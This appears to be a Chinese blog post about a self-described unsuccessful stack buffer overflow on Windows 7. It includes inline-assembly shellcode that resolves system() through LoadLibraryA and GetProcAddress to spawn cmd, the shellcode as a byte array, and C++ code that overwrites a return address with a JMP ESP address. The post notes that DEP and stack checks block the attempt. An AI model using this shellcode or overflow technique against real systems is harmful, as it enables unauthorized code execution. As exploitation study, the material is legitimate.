win7 下不成功的一次堆栈漏洞溢出

本文详细解析了shellcode技术的应用,包括如何利用LoadLibraryA和GetProcAddress获取系统函数地址,实现系统调用,并通过内存操作压入堆栈参数。讨论了遇到的挑战如DEP保护和RTC检查栈函数,提供了解决方案并展示了最终的shellcode实现。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先,我使用的是JMP ESP的跳转到shellcode,在本次开机的时候获得LoadLibraryA,GetProcAddress,当然在win7下kernel32.dll的地址是随机的,但一旦开机,就已经固

定,只是重启后变得不再相同,本次使用的是LoadLibraryA的地址是0x75a0dc55,getProcAddress的地址是:x75a0cc84h,我们需要获得的是system函数的地址,同时,

将"cmd"压入堆栈,获得一个cmd程序的使用权,shellcode如下

_asm{

mov eax,0x75a0dc55
push 0;
push 0x6c6c642e
push 0x30303172;'r100'
push 0x6376736d;'cvsm'
push esp;
call eax;LoadLibraryA
mov ecx,eax;
mov eax,75a0cc84h;
push 0;
push 6d65h
push 74737973h;
push esp;
push ecx;
call eax;
push 0;
push 0x646d63;
push esp;
call eax

}经过转换之后是:



#include <windows.h>  
#include<iostream>
#include <stdio.h> 
using namespace std;
//这里面LoadLibraryA的地址是0x75a0dc55,GetProcAddress的地址是75a0cc84h,少一句mov eax,0x75a0dc55
byte p[]={0xB8,0X55,0XDC,0XA0,0X75,0x6A,0x00,0x68,0x2E,0x64,0x6C,0x6C,0x68,0x72,0x31,0x30,0x30,0x68,0x6D,0x73,0x76,0x63,0x54,0xFF,0xD0,0x8B,0xC8,0xB8,0x84,0xCC,0xA0,0x75,
0x6A,0x00,0x68,0x65,0x6D,0x00,0x00,0x68,0x73,0x79,0x73,0x74,0x54,0x51,0xFF,0xD0,0x6A,0x00,0x68,0x63,0x6D,0x64,0x00,0x54,0xFF,0xD0};
int main()  
{  

char buf[16]={0};
memset(buf,0x90,20);//填充数据完成
//memset(buf+28,0x77330bbb,4);//写入JMP ESP的地址
memcpy(buf+28,"\xbb\x0b\x33\x77",4);
memcpy(buf+32,p,sizeof(p));
//每次执行完都有一个_RTC_CheckStackVar,函数对堆栈进行检测,另外还有DEP(数据执行保护,默认不执行数据段和堆栈段的数据)

}

经过测试,压入堆栈的三个参数(没有实参)第一个参数是返回地址,第二个参数是ebp,第三个参数是:security_cookie,之后才是局部变量,本实例采用NRS模式,首先填

充NOP,绕过EBP和security_cookie,直接向ret 赋值(我们已知 JMP ESP是0x7733bbb)但是还有两个问题没有解决,一个是DEP,数据执行保护,默认情况下不允许执行堆栈

和数据段中的数据,该选项可以在连接器-高级中找到,第二个是在用户代码执行完毕之后有一个函数会检测堆栈,_RTC_CheckStackVar该函数到底执行了什么,暂时未知,

好了,突破了这两点,堆栈溢出就能成功,今天先写到这里了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

世纪殇

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值